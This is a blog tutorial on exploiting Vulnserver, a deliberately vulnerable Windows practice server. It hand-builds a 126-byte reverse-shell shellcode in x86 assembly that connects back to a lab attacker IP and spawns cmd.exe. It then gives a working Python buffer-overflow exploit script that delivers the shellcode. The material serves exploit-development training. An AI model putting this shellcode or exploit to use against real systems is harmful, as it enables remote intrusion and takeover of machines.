| 15 min read
This is the third article on the series of exploiting Vulnserver
, a VbD
(Vulnerable-by-Design) application in which you can practice Windows exploit development.
In our previous post, we successfully exploited the GTER
command using a technique called Egghunting
or Egghunter
.
Using an egghunter was required because we had a reduced buffer to fit a shellcode, as generated by msfvenom
and other tools.
In this post, we will use a manually carved shellcode that will harness instructions that are already loaded on Vulnserver
, allowing us to reduce the final length of our payload.
Reverse shellcode X-ray
A reverse shellcode is basically a series of Windows API
function calls arranged in a delicate order to make a victim machine connect back to an attacker machine issuing a Windows shell, which is commonly an instance of cmd.exe
.
The order of execution of a fully crafted shellcode is the following:
-
Call
WSAStartup()
to load the neededWinSock
DLLs. Use a call toLoadLibraryA
underneath. -
Call
socket()
orWSASocketA()
to bind a new socket handle. -
Call
connect()
orWSAConnect()
to establish a connection to the attacker machine. -
Call
CreateProcessA()
, which callscmd.exe
and where theSTDIN
,STDOUT
, andSTDERR
are redirected to the previously generated socket handle.
However, if we are exploiting a TCP/IP
server like Vulnserver
, chances are that the 'WinSock' DLL library is already loaded and initialized. That means that we can spare WinSock
rutines initialization from our shellcode that can save us a great amount of bytes. Every byte counts.
As a reference, let’s create a reverse shellcode using msfvenom
:
msfvenom.
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.20 LPORT=4444 EXITFUNC=thread -f raw -o /dev/null -b '\x00'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Saved as: /dev/null
This shellcode is 351 bytes long. And, if you remember on our previous post, we only had around 144 bytes to play.
The whole idea of reusing instructions is to minimize the resultant shellcode.
To do that, we need to know what functions need to be called, with what parameters, and translate that into Assembler language to then convert it into our shellcode, keeping in mind to avoid the null bytes that would lead to making our shellcode unusable. It sounds harder than it really is.
With that in mind, let’s look at the signatures of the needed functions:
WSASocketA()
WSASocketA() signature.
SOCKET WSAAPI WSASocketA(
int af,
int type,
int protocol,
LPWSAPROTOCOL_INFOA lpProtocolInfo,
GROUP g,
DWORD dwFlags
);
If we are going to write this in Assembler, we must remember that in the x86 architecture the functions are called in a very specific way:
-
The parameters are pushed to the stack on reverse order.
-
We call the required function.
-
That function will store the returned value on
EAX
.
For example, the structure for calling WSASocketA
function is as follows:
-
Push
dwFlags
parameter to the stack. -
Push
g
parameter to the stack. -
Push
lpProtocolInfo
parameter to the stack. -
Push
protocol
parameter to the stack. -
Push
type
parameter to the stack. -
Push
af
parameter to the stack. -
Call
WSASocketA()
. -
Retrieve the return value of
WSASocketA()
fromEAX
which is the resulting socket handle.
We also need to know the exact address of the WSASocketA()
on the system. Normally, those function addresses won’t change much on a specific version of Windows but will likely change over different updates, so keep that in mind when creating custom shellcodes.
For retrieving the addresses of functions on the current OS
, you can use the arwin tool:
arwin finding WSASocketA().
C:\Documents and Settings\Administrator>arwin ws2_32 WSASocketA
arwin - win32 address resolution program - by steve hanna - v.01
WSASocketA is located at 0x71ab8b6a in ws2_32
Ok, with all the required information, we can proceed to write some Assembler. We need to get a socket handle that can be used by a TCP
connection. With that in mind, we can write the call to WSASocketA()
:
WSASocketA() in ASM.
xor ebx,ebx ; Zero out EBX
push ebx ; Push 'dwFlags' parameter
push ebx ; Push 'g' parameter
push ebx ; Push 'lpProtocolInfo' parameter
mov bl,0x6 ; Protocol: IPPROTO_TCP=6
push ebx ; Push 'protocol' parameter
xor ebx,ebx ; Zero out EBX again
inc ebx ; Type: SOCK_STREAM=1
push ebx ; Push 'type' parameter
inc ebx ; Af: AF_INET=2
push ebx ; Push 'af' parameter
mov ebx,0x71ab8b6a ; Address of WSASocketA() on WinXPSP3
call ebx ; call WSASocketA()
xchg eax,esi ; Save the returned socket handle on ESI
Nice, we stored the socket handle in the ESI register that we will need in the forthcoming functions.
connect()
The connect()
call will create the connection back to the attacker using the socket handle generated by WSASocketA
that we stored in ESI:
connect() signature.
int WSAAPI connect(
SOCKET s,
const sockaddr *name,
int namelen
);
The sockaddr
parameter is in turn:
struct sockaddr {
ushort sa_family;
char sa_data[14];
};
Get the address of connect()
:
arwin finding connect().
C:\Documents and Settings\Administrator>arwin ws2_32 connect
arwin - win32 address resolution program - by steve hanna - v.01
connect is located at 0x71ab4a07 in ws2_32
Now that we know the structure of the connect()
function call and the address of the function, we can write it in Assembler:
connect() in Assembler.
push 0x1400a8c0 ; Push attacker IP: 192.168.0.20. In reverse order:
; hex(20) = 0x14
; hex(0) = 0x00
; hex(168) = 0xa8
; hex(192) = 0xc0
push word 0x5c11 ; Push port: hex(4444) = 0x115c
xor ebx,ebx ; Zero out EBX
add bl,0x2 ; sa_family: AF_INET = 2
push word bx ; Push sa_family parameter
mov ebx,esp ; EBX now has the pointer to sockaddr structure
push byte 0x16 ; Size of sockaddr: sa_family + sa_data = 16
push ebx ; Push pointer ('name' parameter)
push esi ; Push saved socket handler ('s' parameter)
mov ebx,0x71ab4a07 ; Address of connect() on WinXPSP3
call ebx ; Call connect()
Note that the attacker IP
address parameter contains a null byte, which will stop the injection of the payload. To overcome that, we can add a static value to that address, subtract it again, and push the result. This will be the final connect()
payload:
connect() in Assembler.
mov ebx,0x6955fe15 ; Attacker IP: 192.168.0.20. In reverse order:
; hex(20) = 0x14
; hex(0) = 0x00
; hex(168) = 0xa8
; hex(192) = 0xc0
; 0x1400a8c0 + 55555555 = 6955FE15
sub ebx,0x55555555 ; Substract again 55555555 to get the original IP
push ebx ; This will push 0x1400a8c0 to the stack without
; injecting null bytes
push word 0x5c11 ; Push port: hex(4444) = 0x115c
xor ebx,ebx ; Zero out EBX
add bl,0x2 ; sa_family: AF_INET = 2
push word bx ; Push sa_family parameter
mov ebx,esp ; EBX now has the pointer to sockaddr structure
push byte 0x16 ; Size of sockaddr: sa_family + sa_data = 16
push ebx ; Push pointer ('name' parameter)
push esi ; Push saved socket handler ('s' parameter)
mov ebx,0x71ab4a07 ; Address of connect() on WinXPSP3
call ebx ; Call connect()
CreateProcessA()
Now comes the final function CreateProcessA()
, which is responsible for creating an instance of the cmd.exe
command. We also need to point the STDIN
, STDOUT
and STDERR
descriptors to our socket handle to make the resultant shell interactive for us.
CreateProcessA() signature.
BOOL CreateProcessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
We need to fill the _STARTUPINFOA
structure. Luckily for us, most of the parameters are NULL:
typedef struct _STARTUPINFOA {
DWORD cb;
LPSTR lpReserved;
LPSTR lpDesktop;
LPSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;
And the _PROCESS_INFORMATION
is even easier as all the fields can be NULL:
typedef struct _PROCESS_INFORMATION {
HANDLE hProcess;
HANDLE hThread;
DWORD dwProcessId;
DWORD dwThreadId;
} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;
Get the address of CreateProcessA()
:
arwin finding CreateProcessA().
C:\Documents and Settings\Administrator>arwin kernel32 CreateProcessA
arwin - win32 address resolution program - by steve hanna - v.01
CreateProcessA is located at 0x7c80236b in kernel32
In Assembler, the call to CreateProcessA()
will look like this:
CreateProcessA() in Assembler.
mov ebx,0x646d6341 ; Move 'cmda' to EBX. The trailing 'a' is to avoid
; injecting null bytes.
shr ebx,0x8 ; Make EBX = 'cmd\x00'
push ebx ; Push application name
mov ecx,esp ; Make ECX a pointer to the 'cmd' command
; ('lpCommandLine' parameter)
; Now fill the `_STARTUPINFOA` structure
xor edx,edx ; Zero out EBX
push esi ; hStdError = our socket handler
push esi ; hStdOutput = our socket handler
push esi ; hStdInput = our socket handler
push edx ; cbReserved2 = NULL
push edx ; wShowWindow = NULL
xor eax, eax ; Zero out EAX
mov ax,0x0101 ; dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
push eax ; Push dwFlags
push edx ; dwFillAttribute = NULL
push edx ; dwYCountChars = NULL
push edx ; dwXCountChars = NULL
push edx ; dwYSize = NULL
push edx ; dwXSize = NULL
push edx ; dwY = NULL
push edx ; dwX = NULL
push edx ; lpTitle = NULL
push edx ; lpDesktop = NULL
push edx ; lpReserved = NULL
add dl,44 ; cb = 44
push edx ; Push _STARTUPINFOA on stack
mov eax,esp ; Make EAX a pointer to _STARTUPINFOA
xor edx,edx ; Zero out EDX again
; Fill PROCESS_INFORMATION struct
push edx ; lpProcessInformation
push edx ; lpProcessInformation + 4
push edx ; lpProcessInformation + 8
push edx ; lpProcessInformation + 12
; Now fill out the `CreateProcessA` parameters
push esp ; lpProcessInformation
push eax ; lpStartupInfo
xor ebx,ebx ; Zero out EBX to fill other parameters
push ebx ; lpCurrentDirectory
push ebx ; lpEnvironment
push ebx ; dwCreationFlags
inc ebx ; bInheritHandles = True
push ebx ; Push bInheritHandles
dec ebx ; Make EBX zero again
push ebx ; lpThreadAttributes
push ebx ; lpProcessAttributes
push ecx ; lpCommandLine = Pointer to 'cmd\x00'
push ebx ; lpApplicationName
mov ebx,0x7c80236b ; Address of CreateProcessA()
call ebx ; Call CreateProcessA() on WinXPSP3
Putting it all together
Our final shellcode will be this:
shellcode.asm.
; WSASocketA()
xor ebx,ebx ; Zero out EBX
push ebx ; Push 'dwFlags' parameter
push ebx ; Push 'g' parameter
push ebx ; Push 'lpProtocolInfo' parameter
mov bl,0x6 ; Protocol: IPPROTO_TCP=6
push ebx ; Push 'protocol' parameter
xor ebx,ebx ; Zero out EBX again
inc ebx ; Type: SOCK_STREAM=1
push ebx ; Push 'type' parameter
inc ebx ; Af: AF_INET=2
push ebx ; Push 'af' parameter
mov ebx,0x71ab8b6a ; Address of WSASocketA() on WinXPSP3
call ebx ; Call WSASocketA()
xchg eax,esi ; Save the returned socket handle on ESI
; connect()
mov ebx,0x6955fe15 ; Attacker IP: 192.168.0.20. In reverse order:
; hex(20) = 0x14
; hex(0) = 0x00
; hex(168) = 0xa8
; hex(192) = 0xc0
; 0x1400a8c0 + 55555555 = 6955FE15
sub ebx,0x55555555 ; Substract again 55555555 to get the original IP
push ebx ; This will push 0x1400a8c0 to the stack without
; injecting null bytes
push word 0x5c11 ; Push port: hex(4444) = 0x115c
xor ebx,ebx ; Zero out EBX
add bl,0x2 ; sa_family: AF_INET = 2
push word bx ; Push sa_family parameter
mov ebx,esp ; EBX now has the pointer to sockaddr structure
push byte 0x16 ; Size of sockaddr: sa_family + sa_data = 16
push ebx ; Push pointer ('name' parameter)
push esi ; Push saved socket handler ('s' parameter)
mov ebx,0x71ab4a07 ; Address of connect() on WinXPSP3
call ebx ; Call connect()
; CreateProcessA()
mov ebx,0x646d6341 ; Move 'cmda' to EBX. The trailing 'a' is to avoid
; injecting null bytes.
shr ebx,0x8 ; Make EBX = 'cmd\x00'
push ebx ; Push application name
mov ecx,esp ; Make ECX a pointer to the 'cmd' command
; ('lpCommandLine' parameter)
; Now fill the `_STARTUPINFOA` structure
xor edx,edx ; Zero out EBX
push esi ; hStdError = our socket handler
push esi ; hStdOutput = our socket handler
push esi ; hStdInput = our socket handler
push edx ; cbReserved2 = NULL
push edx ; wShowWindow = NULL
xor eax, eax ; Zero out EAX
mov ax,0x0101 ; dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
push eax ; Push dwFlags
push edx ; dwFillAttribute = NULL
push edx ; dwYCountChars = NULL
push edx ; dwXCountChars = NULL
push edx ; dwYSize = NULL
push edx ; dwXSize = NULL
push edx ; dwY = NULL
push edx ; dwX = NULL
push edx ; lpTitle = NULL
push edx ; lpDesktop = NULL
push edx ; lpReserved = NULL
add dl,44 ; cb = 44
push edx ; Push _STARTUPINFOA on stack
mov eax,esp ; Make EAX a pointer to _STARTUPINFOA
xor edx,edx ; Zero out EDX again
; Fill PROCESS_INFORMATION struct
push edx ; lpProcessInformation
push edx ; lpProcessInformation + 4
push edx ; lpProcessInformation + 8
push edx ; lpProcessInformation + 12
; Now fill out the `CreateProcessA` parameters
push esp ; lpProcessInformation
push eax ; lpStartupInfo
xor ebx,ebx ; Zero out EBX to fill other parameters
push ebx ; lpCurrentDirectory
push ebx ; lpEnvironment
push ebx ; dwCreationFlags
inc ebx ; bInheritHandles = True
push ebx ; Push bInheritHandles
dec ebx ; Make EBX zero again
push ebx ; lpThreadAttributes
push ebx ; lpProcessAttributes
push ecx ; lpCommandLine = Pointer to 'cmd\x00'
push ebx ; lpApplicationName
mov ebx,0x7c80236b ; Call CreateProcessA()
call ebx
We can compile this using nasm
:
nasm compilation.
nasm -f elf32 -o shellcode.o shellcode.asm
And obtain the resulting shellcode with:
$ for i in $(objdump -d shellcode.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\x31\xdb\x53\x53\x53\xb3\x06\x53\x31\xdb\x43\x53\x43\x53\xbb\x6a\x8b\xab\x71
\xff\xd3\x96\xbb\x15\xfe\x55\x69\x81\xeb\x55\x55\x55\x55\x53\x66\x68\x11\x5c
\x31\xdb\x80\xc3\x02\x66\x53\x89\xe3\x6a\x16\x53\x56\xbb\x07\x4a\xab\x71\xff
\xd3\xbb\x41\x63\x6d\x64\xc1\xeb\x08\x53\x89\xe1\x31\xd2\x56\x56\x56\x52\x52
\x31\xc0\x66\xb8\x01\x01\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x80\xc2
\x2c\x52\x89\xe0\x31\xd2\x52\x52\x52\x52\x54\x50\x31\xdb\x53\x53\x53\x43\x53
\x4b\x53\x53\x51\x53\xbb\x6b\x23\x80\x7c\xff\xd3
As you can see, the resulting shellcode is only 126 bytes long and will nicely fit on our buffer without the need to use egghunters.
Update our exploit
Now that we have our manually created shellcode, we can update our previous exploit.
We will remove the egghunter and the previous shellcode and will include our custom shellcode. Let’s see how it looks now:
exploit-socketreuse.py.
import socket
import struct
HOST = '192.168.0.29'
PORT = 9999
CUSTOM_SHELL = (
b'\x31\xdb\x53\x53\x53\xb3\x06\x53\x31\xdb\x43\x53\x43' +
b'\x53\xbb\x6a\x8b\xab\x71\xff\xd3\x96\xbb\x15\xfe\x55' +
b'\x69\x81\xeb\x55\x55\x55\x55\x53\x66\x68\x11\x5c\x31' +
b'\xdb\x80\xc3\x02\x66\x53\x89\xe3\x6a\x16\x53\x56\xbb' +
b'\x07\x4a\xab\x71\xff\xd3\xbb\x41\x63\x6d\x64\xc1\xeb' +
b'\x08\x53\x89\xe1\x31\xd2\x56\x56\x56\x52\x52\x31\xc0' +
b'\x66\xb8\x01\x01\x50\x52\x52\x52\x52\x52\x52\x52\x52' +
b'\x52\x52\x80\xc2\x2c\x52\x89\xe0\x31\xd2\x52\x52\x52' +
b'\x52\x54\x50\x31\xdb\x53\x53\x53\x43\x53\x4b\x53\x53' +
b'\x51\x53\xbb\x6b\x23\x80\x7c\xff\xd3'
)
PAYLOAD = (
b'GTER /.:/' +
CUSTOM_SHELL +
b'A' * (147 - len(CUSTOM_SHELL)) +
# 625011C7 | FFE4 | jmp esp
struct.pack('<L', 0x625011C7) +
# JMP to the start of our buffer
b'\xe9\x64\xff\xff\xff' +
b'C' * (400 - 147 - 4 - 5)
)
with socket.create_connection((HOST, PORT)) as fd:
fd.recv(128)
print('Sending payload...')
fd.sendall(PAYLOAD)
print('Done.')
It looks simpler! Now, run it to see what happens:
Uhmmm, we got the reverse connection but no shell!
Let’s see what is going on:
As we can see, several things have happened:
-
Our buffer was correctly delivered.
-
The
JMP ESP
instruction was successfully triggered. -
The jump backward occurred.
-
And we landed at the start of our custom shellcode.
However, if you look carefully at this image:
We can see that the ESP
register is only 24 bytes below the end of our custom shellcode. That means that with every PUSH
performed on our custom shellcode, that pointer will get closer to it and start overwriting it. That’s not good news.
This graph illustrates the issue:
As the execution flows towards a higher memory address, the stack grows backward and will eventually overwrite our shellcode.
However, if you look at the image again, you can see that the EAX
register points to the GTER /.:/
string, which is above our shellcode.
All that’s left to do is align the stack to point to that location, and it’s done easily with two instructions:
Align stack.
push eax
pop esp
The first instruction will push the current value of EAX
to the stack, and the second will pop back that value to the ESP
register, moving the stack pointer above our shellcode, protecting it from being overwritten.
We can use nasm_shell.rb
from Metasploit to get the opcodes of those instructions:
nasm_shell.
$ cd /opt/metasploit-framework/embedded/framework/tools/exploit $ ./nasm_shell.rb nasm > push eax 00000000 50 push eax nasm > pop esp
00000000 5C pop esp
Ok, now we can add those instructions to our exploit and see what happens:
exploit-socketreuse.py.
import socket
import struct
HOST = '192.168.0.29'
PORT = 9999
CUSTOM_SHELL = (
b'\x31\xdb\x53\x53\x53\xb3\x06\x53\x31\xdb\x43\x53\x43' +
b'\x53\xbb\x6a\x8b\xab\x71\xff\xd3\x96\xbb\x15\xfe\x55' +
b'\x69\x81\xeb\x55\x55\x55\x55\x53\x66\x68\x11\x5c\x31' +
b'\xdb\x80\xc3\x02\x66\x53\x89\xe3\x6a\x16\x53\x56\xbb' +
b'\x07\x4a\xab\x71\xff\xd3\xbb\x41\x63\x6d\x64\xc1\xeb' +
b'\x08\x53\x89\xe1\x31\xd2\x56\x56\x56\x52\x52\x31\xc0' +
b'\x66\xb8\x01\x01\x50\x52\x52\x52\x52\x52\x52\x52\x52' +
b'\x52\x52\x80\xc2\x2c\x52\x89\xe0\x31\xd2\x52\x52\x52' +
b'\x52\x54\x50\x31\xdb\x53\x53\x53\x43\x53\x4b\x53\x53' +
b'\x51\x53\xbb\x6b\x23\x80\x7c\xff\xd3'
)
PAYLOAD = (
b'GTER /.:/' +
# Align stack to avoid overwrite our shellcode
b'\x50' + # PUSH EAX
b'\x5c' + # POP ESP
CUSTOM_SHELL +
b'A' * (147 - 2 - len(CUSTOM_SHELL)) +
# 625011C7 | FFE4 | jmp esp
struct.pack('<L', 0x625011C7) +
# JMP to the start of our buffer
b'\xe9\x64\xff\xff\xff' +
b'C' * (400 - 147 - 4 - 5)
)
with socket.create_connection((HOST, PORT)) as fd:
fd.recv(128)
print('Sending payload...')
fd.sendall(PAYLOAD)
print('Done.')
And execute the exploit again:
Whooo! We got our shell again!
You can download the final exploit here
Conclusion
This time I wanted to show that there are always ways to overcome harsh exploitation environments, just by trying harder.
References
Recommended blog posts
You might be interested in the following related posts.
A lesson of this global IT crash is to shift left
Consequential data breaches in the financial sector
Data breaches that left their mark on time
Our pick of the hardest challenges for ethical hackers
Beware of insecure-by-default libraries!
An OffSec Exploitation Expert review
An interview with members of our hacking team